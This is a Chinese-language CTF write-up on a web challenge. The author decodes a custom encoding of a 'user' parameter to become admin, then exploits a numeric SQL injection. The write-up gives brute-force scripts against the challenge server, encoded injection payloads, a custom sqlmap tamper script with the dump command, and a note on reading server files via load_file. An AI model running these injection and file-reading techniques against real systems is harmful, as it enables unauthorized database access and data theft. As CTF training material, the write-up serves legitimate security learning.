2021.2.9
好久没有玩LOL了,今天晚上在无限火力模式大杀四方的时候,朋友突然发来一道CTF题,正好好久没做CTF了,拿来练练手。(我是不会说我玩个奥恩被对面杀穿了,一怒之下不打了的)
回归正题,题目的名字与描述
看到提示
Sorry,you are not admin!you are Guest
以及get传参 user=QgcAYAbgbw
猜测这个user参数或许修改可以使我们变成admin
于是想起题目上显示的Base,尝试了一下base64解码
发现并不能解出来,正当我纠结难道是我没有见过的加密时,随意删除了几个字符,页面回显变得不一样了!
这时候很自然的想到,我们可以利用这点将编码对应表跑出来,于是我写了一个小脚本(本人菜鸟,写的脚本拉跨,大佬轻喷)
'''
By F12sec
LiAoRJ
'''
import requests
import re
regex = re.compile(r'Sorry,you are not admin!you are \S')
for i in range(65,123):
for j in range(65,123):
url = "http://106.55.249.213:5001/?user={}{}".format(chr(i),chr(j))
reponse = requests.get(url=url)
if "Sorry,you are not admin!you are" in reponse.text:
rep = re.findall(regex,reponse.text)
if rep:
print(url)
print(rep)
http://106.55.249.213:5001/?user=XA
['Sorry,you are not admin!you are a']
http://106.55.249.213:5001/?user=XQ
['Sorry,you are not admin!you are b']
http://106.55.249.213:5001/?user=Xg
['Sorry,you are not admin!you are c']
http://106.55.249.213:5001/?user=Xw
['Sorry,you are not admin!you are d']
http://106.55.249.213:5001/?user=YA
['Sorry,you are not admin!you are e']
http://106.55.249.213:5001/?user=YQ
['Sorry,you are not admin!you are f']
http://106.55.249.213:5001/?user=Yg
['Sorry,you are not admin!you are g']
http://106.55.249.213:5001/?user=Yw
['Sorry,you are not admin!you are h']
http://106.55.249.213:5001/?user=ZA
['Sorry,you are not admin!you are i']
http://106.55.249.213:5001/?user=ZQ
['Sorry,you are not admin!you are j']
http://106.55.249.213:5001/?user=Zg
['Sorry,you are not admin!you are k']
http://106.55.249.213:5001/?user=Zw
['Sorry,you are not admin!you are l']
........
a-XA d-Xw m-aA i-ZA n-aQ
对于admin用户名的编码就应该是 XAXwaAZAaQ
正当我觉得这题竟然如此简单之时,没想到这只是开始。
我们将user参数改为XAXwaAZAaQ
/?user=XAXwaAZAaQ,继续访问
没想到这时页面出现了一个sql语句,并且给我们自动加上了id参数。
id=LA,这个LA就是数字1的编码。
从回显看出,这里有一个标标准准的sql数字型注入,于是常规手段验证一下猜想。
1 or 1=1#,正准备用编码替换时,发现刚刚爆出来的编码表中,并没有空格的编码!
想到可以利用/**/注释符进行绕过,将语句构造为1/**/or/**/1=1#
再将该语句进行编码转换,手动对照着转换了几个发现实在难受,眼睛都快看花了,于是改了一下刚刚爆破的脚本,只要输入语句,然后自动对着编码表替换即可。
'''
By F12sec
LiAoRJ
'''
import requests
import re
anwer=[]
regex = re.compile(r'Sorry,you are not admin!you are \S')
for i in range(65,123):
for j in range(65,123):
url = "http://106.55.249.213:5001/?user={}{}".format(chr(i),chr(j))
reponse = requests.get(url=url)
if "Sorry,you are not admin!you are" in reponse.text:
rep = re.findall(regex,reponse.text)
if rep:
anwer.append(url.replace("http://106.55.249.213:5001/?user=", ""))
anwer.append(rep[0].replace("Sorry,you are not admin!you are ",""))
# print(anwer)
#生成编码表
code=""
sql = " or 1=1#"
#利用上面代码生成的编码表,对照替换
tamper = ['HA', '!', 'HQ', '"', 'Hg', '#', 'Hw', '$', 'IA', '%', 'IQ', '&', 'Ig', "'", 'Iw', '(', 'JA', ')', 'JQ', '*', 'Jg', '+', 'Jw', ',', 'KA', '-', 'KQ', '.', 'Kg', '/', 'Kw', '0', 'LA', '1', 'LQ', '2', 'Lg', '3', 'Lw', '4', 'MA', '5', 'MQ', '6', 'Mg', '7', 'Mw', '8', 'NA', '9', 'NQ', ':', 'Ng', ';', 'Nw', '<', 'OA', '=', 'OQ', '>', 'Og', '?', 'Ow', '@', 'PA', 'A', 'PQ', 'B', 'Pg', 'C', 'Pw', 'D', 'QA', 'E', 'QQ', 'F', 'Qg', 'G', 'Qw', 'H', 'RA', 'I', 'RQ', 'J', 'Rg', 'K', 'Rw', 'L', 'SA', 'M', 'SQ', 'N', 'Sg', 'O', 'Sw', 'P', 'TA', 'Q', 'TQ', 'R', 'Tg', 'S', 'Tw', 'T', 'UA', 'U', 'UQ', 'V', 'Ug', 'W', 'Uw', 'X', 'VA', 'Y', 'VQ', 'Z', 'Vg', '[', 'Vw', '\\', 'WA', ']', 'WQ', '^', 'Wg', '_', 'Ww', '`', 'XA', 'a', 'XQ', 'b', 'Xg', 'c', 'Xw', 'd', 'YA', 'e', 'YQ', 'f', 'Yg', 'g', 'Yw', 'h', 'ZA', 'i', 'ZQ', 'j', 'Zg', 'k', 'Zw', 'l', 'aA', 'm', 'aQ', 'n', 'ag', 'o', 'aw', 'p', 'bA', 'q', 'bQ', 'r', 'bg', 's', 'bw', 't', 'cA', 'u', 'cQ', 'v', 'cg', 'w', 'cw', 'x', 'dA', 'y', 'dQ', 'z', 'dg', '{', 'dw', '|', 'eA', '}', 'eQ', '~','KgJQJQKg',' ']
#编码表中无空格,故将空格的编码设置为/**/的编码 KgJQJQKg
for i in range(len(sql)):
index = tamper.index(sql[i])
code = code + tamper[index-1]
print(code)
http://106.55.249.213:5001/?user=XAXwaAZAaQ&id=LAKgJQJQKgagbQKgJQJQKgLAOALAHg
发现语句执行没有问题
于是常规操作 order by 判断查询列数
这里测试查询列数为2
开始联合查询 union select 1,2#
查看一下数据库版本,用户,当前正使用的数据库名
version()、user()、database()
手动测试实在是太慢了,而且还容易出错,果断转sqlmap,自己写一个tamper。
下面是我自己写的tamper,其实也就是上面的编码转换脚本。
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
"""
def tamper(payload, **kwargs):
code=""
tamper = ['HA', '!', 'HQ', '"', 'Hg', '#', 'Hw', '$', 'IA', '%', 'IQ', '&', 'Ig', "'", 'Iw', '(', 'JA', ')', 'JQ', '*', 'Jg', '+', 'Jw', ',', 'KA', '-', 'KQ', '.', 'Kg', '/', 'Kw', '0', 'LA', '1', 'LQ', '2', 'Lg', '3', 'Lw', '4', 'MA', '5', 'MQ', '6', 'Mg', '7', 'Mw', '8', 'NA', '9', 'NQ', ':', 'Ng', ';', 'Nw', '<', 'OA', '=', 'OQ', '>', 'Og', '?', 'Ow', '@', 'PA', 'A', 'PQ', 'B', 'Pg', 'C', 'Pw', 'D', 'QA', 'E', 'QQ', 'F', 'Qg', 'G', 'Qw', 'H', 'RA', 'I', 'RQ', 'J', 'Rg', 'K', 'Rw', 'L', 'SA', 'M', 'SQ', 'N', 'Sg', 'O', 'Sw', 'P', 'TA', 'Q', 'TQ', 'R', 'Tg', 'S', 'Tw', 'T', 'UA', 'U', 'UQ', 'V', 'Ug', 'W', 'Uw', 'X', 'VA', 'Y', 'VQ', 'Z', 'Vg', '[', 'Vw', '\\', 'WA', ']', 'WQ', '^', 'Wg', '_', 'Ww', '`', 'XA', 'a', 'XQ', 'b', 'Xg', 'c', 'Xw', 'd', 'YA', 'e', 'YQ', 'f', 'Yg', 'g', 'Yw', 'h', 'ZA', 'i', 'ZQ', 'j', 'Zg', 'k', 'Zw', 'l', 'aA', 'm', 'aQ', 'n', 'ag', 'o', 'aw', 'p', 'bA', 'q', 'bQ', 'r', 'bg', 's', 'bw', 't', 'cA', 'u', 'cQ', 'v', 'cg', 'w', 'cw', 'x', 'dA', 'y', 'dQ', 'z', 'dg', '{', 'dw', '|', 'eA', '}', 'eQ', '~','KgJQJQKg',' ']
for i in range(len(payload)):
index = tamper.index(payload[i])
code = code + tamper[index-1]
return code
python3 sqlmap.py -u "http://106.55.249.213:5001/?user=XAXwaAZAaQ&id=LA" -p "id" --tamper=raoguo.py -v 3 --dbs
进base数据库
直接dump就完事了
得到最终flag
感觉我做出来的只是预期的解法,此题应该还有非预期解,目前有17人做出来了,而且此题环境貌似权限较高,允许load_file读取文件,看了下数据库路径,于是猜测了一下web环境路径,一下子就读到了主页文件。
还能读敏感数据文件
总结:
实在太菜了,写的脚本没法看,希望能够继续提升技术,赶紧把自己的GUI工具写出来。